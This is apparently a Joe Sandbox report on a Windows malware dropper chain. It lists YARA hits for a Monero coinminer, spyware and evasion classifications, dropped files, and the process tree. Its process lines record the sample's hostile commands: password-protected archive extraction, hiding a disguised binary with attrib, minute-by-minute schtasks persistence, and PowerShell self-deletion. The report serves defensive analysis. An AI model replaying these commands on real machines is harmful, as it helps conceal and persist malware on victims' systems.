Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00364DE0	1_2_00364DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00397F36	1_2_00397F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_003A779B	1_2_003A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A8860	2_2_003A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A7049	2_2_003A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A78BB	2_2_003A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A31A8	2_2_003A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00364B30	2_2_00364B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A2D10	2_2_003A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00364DE0	2_2_00364DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00397F36	2_2_00397F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_003A779B	2_2_003A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0036E530	6_2_0036E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00386192	6_2_00386192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A8860	6_2_003A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00364B30	6_2_00364B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A2D10	6_2_003A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00364DE0	6_2_00364DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00380E13	6_2_00380E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A7049	6_2_003A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A31A8	6_2_003A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00381602	6_2_00381602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A779B	6_2_003A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_003A78BB	6_2_003A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00383DF1	6_2_00383DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00397F36	6_2_00397F36
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140377A	7_3_0140377A
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140377A	7_3_0140377A
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140377A	7_3_0140377A
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_0140377A	7_3_0140377A
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Code function: 7_3_013F5AF1	7_3_013F5AF1

Source: Joe Sandbox View	Dropped File: C:\Program Files\Windows Media Player\graph\graph.exe D6E7CEB5B05634EFBD06C3E28233E92F1BD362A36473688FBAF952504B76D394
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 10BFF40A9D960D0BE3CC81B074A748764D7871208F324DE26D365B1F8EA3935A

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00DB80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 003780C0 appears 391 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00377A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0037D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0037D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0037D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0037DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00398E10 appears 47 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 40.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 40.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\output[1].png, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\output[1].png, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.
Source: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_IMG_Embedded_Archive author = ditekSHen, description = Detects images embedding archives. Observed in TheRat RAT.

Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: 0516ff61af.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 0516ff61af.exe.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: random[2].exe.6.dr	Static PE information: Section: jxwvjkbl ZLIB complexity 0.9945648850293543
Source: 1b73492cb0.exe.6.dr	Static PE information: Section: jxwvjkbl ZLIB complexity 0.9945648850293543

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@79/56@12/12

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

File created: C:\Program Files\Google\Chrome\Extensions

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Mutant created: \Sessions\1\BaseNamedObjects\48cb35e3030a2b429c6ac414faba9b49
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6072:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 0516ff61af.exe, 00000007.00000003.2525534739.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 54%
Source: file.exe	ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh&

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe "C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe "C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe"
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe "C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe "C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe "C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe"
Source: unknown	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe "C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe "C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe "C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe "C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe "C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe "C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe "C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Process created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Process created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
